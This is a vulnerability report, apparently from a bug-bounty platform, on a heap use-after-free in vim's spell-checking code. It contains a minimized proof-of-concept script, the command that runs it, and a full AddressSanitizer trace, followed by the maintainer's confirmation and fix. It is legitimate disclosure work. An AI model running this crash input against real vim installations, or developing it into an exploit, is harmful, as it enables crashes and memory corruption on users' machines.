use after free in skipwhite in vim/vim

0

Valid Reported on Jun 6th 2022

Description

When fuzzing vim commit `1d97db3d9` (works with latest build and latest commit `3760bfddc` per this time of this report), I discovered a use after free.

Proof of Concept

Here is the minimized poc

```
spe!fl
norm0z=
norm0yy
no0 P]svc
sil!norm0
norm0
```

How to build

```
LD=lld AS=llvm-as AR=llvm-ar RANLIB=llvm-ranlib CC=clang CXX=clang++ CFLAGS
make -j$(nproc)
```

Proof of Concept
Run crafted file with this command
`./vim -u NONE -X -Z -e -s -S poc_skipwhite -c :qa!`
ASan stack trace:

```
aldo@vps:~/vim/src$ ASAN_OPTIONS=symbolize=1 ASAN_SYMBOLIZER
=================================================================
==3075856==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000
```

```
READ of size 1 at 0x60200000a6b0 thread T0
    #0 0xecfe2c in skipwhite /home/aldo/vimtes/src/charset.c:1428:12
    #1 0xb6e45f in spell_move_to /home/aldo/vimtes/src/spell.c:1490:11

    #2 0x924ea0 in nv_brackets /home/aldo/vimtes/src/normal.c:4580:10
    #3 0x8ffa60 in normal_cmd /home/aldo/vimtes/src/normal.c:939:5
    #4 0xee6537 in main_loop /home/aldo/vimtes/src/main.c:1516:3
    #5 0x737610 in open_cmdwin /home/aldo/vimtes/src/ex_getln.c:4528:5
    #6 0x7273f3 in getcmdline_int /home/aldo/vimtes/src/ex_getln.c:1952:7
    #7 0x723da8 in getcmdline /home/aldo/vimtes/src/ex_getln.c:1570:12
    #8 0x91bde8 in nv_search /home/aldo/vimtes/src/normal.c:4155:22
    #9 0x8ffa60 in normal_cmd /home/aldo/vimtes/src/normal.c:939:5
    #10 0x6ffb9d in exec_normal /home/aldo/vimtes/src/ex_docmd.c:8800:6
    #11 0x6ff7a3 in exec_normal_cmd /home/aldo/vimtes/src/ex_docmd.c:8763:5
    #12 0x6ff503 in ex_normal /home/aldo/vimtes/src/ex_docmd.c:8681:6
    #13 0x6da762 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2568:2
    #14 0x6ce492 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:992:17
    #15 0xb04ed5 in do_source_ext /home/aldo/vimtes/src/scriptfile.c:1674:5
    #16 0xb02920 in do_source /home/aldo/vimtes/src/scriptfile.c:1801:12
    #17 0xb02459 in cmd_source /home/aldo/vimtes/src/scriptfile.c:1174:14
    #18 0xb01f3d in ex_source /home/aldo/vimtes/src/scriptfile.c:1200:2
    #19 0x6da762 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2568:2
    #20 0x6ce492 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:992:17
    #21 0x6d1720 in do_cmdline_cmd /home/aldo/vimtes/src/ex_docmd.c:586:12
    #22 0xee5274 in exe_commands /home/aldo/vimtes/src/main.c:3106:2
    #23 0xee2fa9 in vim_main2 /home/aldo/vimtes/src/main.c:780:2
    #24 0xedc890 in main /home/aldo/vimtes/src/main.c:432:12
    #25 0x7ffff7824082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/
    #26 0x41eded in _start (/home/aldo/vimtes/src/vim+0x41eded)

0x60200000a6b0 is located 0 bytes inside of 1-byte region [0x60200000a6b0,0
freed by thread T0 here:
    #0 0x499a42 in free (/home/aldo/vimtes/src/vim+0x499a42)
    #1 0x4cb508 in vim_free /home/aldo/vimtes/src/alloc.c:621:2
    #2 0x880a6e in ml_flush_line /home/aldo/vimtes/src/memline.c:4063:2
    #3 0x88ee8c in ml_get_buf /home/aldo/vimtes/src/memline.c:2651:2
    #4 0xb6d6d7 in spell_move_to /home/aldo/vimtes/src/spell.c:1347:6
    #5 0x924ea0 in nv_brackets /home/aldo/vimtes/src/normal.c:4580:10
    #6 0x8ffa60 in normal_cmd /home/aldo/vimtes/src/normal.c:939:5
    #7 0xee6537 in main_loop /home/aldo/vimtes/src/main.c:1516:3
    #8 0x737610 in open_cmdwin /home/aldo/vimtes/src/ex_getln.c:4528:5
```

```
    #9 0x7273f3 in getcmdline_int /home/aldo/vimtes/src/ex_getln.c:1952:7
    #10 0x723da8 in getcmdline /home/aldo/vimtes/src/ex_getln.c:1570:12
    #11 0x91bde8 in nv_search /home/aldo/vimtes/src/normal.c:4155:22

    #12 0x8ffa60 in normal_cmd /home/aldo/vimtes/src/normal.c:939:5
    #13 0x6ffb9d in exec_normal /home/aldo/vimtes/src/ex_docmd.c:8800:6
    #14 0x6ff7a3 in exec_normal_cmd /home/aldo/vimtes/src/ex_docmd.c:8763:5
    #15 0x6ff503 in ex_normal /home/aldo/vimtes/src/ex_docmd.c:8681:6
    #16 0x6da762 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2568:2
    #17 0x6ce492 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:992:17
    #18 0xb04ed5 in do_source_ext /home/aldo/vimtes/src/scriptfile.c:1674:5
    #19 0xb02920 in do_source /home/aldo/vimtes/src/scriptfile.c:1801:12
    #20 0xb02459 in cmd_source /home/aldo/vimtes/src/scriptfile.c:1174:14
    #21 0xb01f3d in ex_source /home/aldo/vimtes/src/scriptfile.c:1200:2
    #22 0x6da762 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2568:2
    #23 0x6ce492 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:992:17
    #24 0x6d1720 in do_cmdline_cmd /home/aldo/vimtes/src/ex_docmd.c:586:12
    #25 0xee5274 in exe_commands /home/aldo/vimtes/src/main.c:3106:2
    #26 0xee2fa9 in vim_main2 /home/aldo/vimtes/src/main.c:780:2
    #27 0xedc890 in main /home/aldo/vimtes/src/main.c:432:12
    #28 0x7ffff7824082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/

previously allocated by thread T0 here:
    #0 0x499cad in malloc (/home/aldo/vimtes/src/vim+0x499cad)
    #1 0x4cb100 in lalloc /home/aldo/vimtes/src/alloc.c:246:11
    #2 0x4cb059 in alloc /home/aldo/vimtes/src/alloc.c:151:12
    #3 0xaca43c in do_put /home/aldo/vimtes/src/register.c:2126:14
    #4 0x935553 in nv_put_opt /home/aldo/vimtes/src/normal.c:7355:2
    #5 0x922656 in nv_put /home/aldo/vimtes/src/normal.c:7234:5
    #6 0x92cb00 in nv_zet /home/aldo/vimtes/src/normal.c:2823:16
    #7 0x8ffa60 in normal_cmd /home/aldo/vimtes/src/normal.c:939:5
    #8 0xee6537 in main_loop /home/aldo/vimtes/src/main.c:1516:3
    #9 0x737610 in open_cmdwin /home/aldo/vimtes/src/ex_getln.c:4528:5
    #10 0x7273f3 in getcmdline_int /home/aldo/vimtes/src/ex_getln.c:1952:7
    #11 0x723da8 in getcmdline /home/aldo/vimtes/src/ex_getln.c:1570:12
    #12 0x91bde8 in nv_search /home/aldo/vimtes/src/normal.c:4155:22
    #13 0x8ffa60 in normal_cmd /home/aldo/vimtes/src/normal.c:939:5
    #14 0x6ffb9d in exec_normal /home/aldo/vimtes/src/ex_docmd.c:8800:6
    #15 0x6ff7a3 in exec_normal_cmd /home/aldo/vimtes/src/ex_docmd.c:8763:5
    #16 0x6ff503 in ex_normal /home/aldo/vimtes/src/ex_docmd.c:8681:6
    #17 0x6da762 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2568:2
    #18 0x6ce492 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:992:17
```

```
    #18 0x6ce492 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:992:17
    #19 0xb04ed5 in do_source_ext /home/aldo/vimtes/src/scriptfile.c:1674:5
    #20 0xb02920 in do_source /home/aldo/vimtes/src/scriptfile.c:1801:12

    #21 0xb02459 in cmd_source /home/aldo/vimtes/src/scriptfile.c:1174:14
    #22 0xb01f3d in ex_source /home/aldo/vimtes/src/scriptfile.c:1200:2
    #23 0x6da762 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2568:2
    #24 0x6ce492 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:992:17
    #25 0x6d1720 in do_cmdline_cmd /home/aldo/vimtes/src/ex_docmd.c:586:12
    #26 0xee5274 in exe_commands /home/aldo/vimtes/src/main.c:3106:2
    #27 0xee2fa9 in vim_main2 /home/aldo/vimtes/src/main.c:780:2
    #28 0xedc890 in main /home/aldo/vimtes/src/main.c:432:12
    #29 0x7ffff7824082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/

SUMMARY: AddressSanitizer: heap-use-after-free /home/aldo/vimtes/src/charse
Shadow bytes around the buggy address:
  0x0c047fff9480: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x0c047fff9490: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x0c047fff94a0: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa
  0x0c047fff94b0: fa fa fd fa fa fa 02 fa fa fa 00 00 fa fa 02 fa
  0x0c047fff94c0: fa fa 02 fa fa fa 01 fa fa fa fd fa fa fa fd fa
=>0x0c047fff94d0: fa fa 00 00 fa fa[fd]fa fa fa fd fa fa fa fd fa
  0x0c047fff94e0: fa fa fd fa fa fa 02 fa fa fa fa fa fa fa fa fa
  0x0c047fff94f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9520: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
```

```
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe

  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==3075856==ABORTING
```

Impact

This vulnerability is capable of crashing software, Bypass Protection Mechanism, Modify Memory, and possible remote execution

CVE
CVE-2022-2042
(Published)

Vulnerability Type
CWE-416: Use After Free

Severity
High (7.4)

Registry
Other

Affected Version
v8.2.5064

Visibility
Public

Status
Fixed

Found by
Muhammad Aldo Firmansyah
@thecrott
legend

Fixed by
Bram Moolenaar

Bram Moolenaar

@brammool

maintainer

This report was seen 2,131 times.

We are processing your report and will contact the **vim** team within 24 hours. 6 months ago

We have contacted a member of the **vim** team and are waiting to hear back 6 months ago

Bram Moolenaar validated this vulnerability 6 months ago

I can reproduce it. Also an error for using unitialized memory. I could simplify the POC a bit more.

Muhammad Aldo Firmansyah has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Bram Moolenaar 6 months ago Maintainer

Fixed with patch 8.2.5072

Bram Moolenaar marked this as fixed in **8.2** with commit **2813f3** 6 months ago

Bram Moolenaar has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Sign in to join this conversation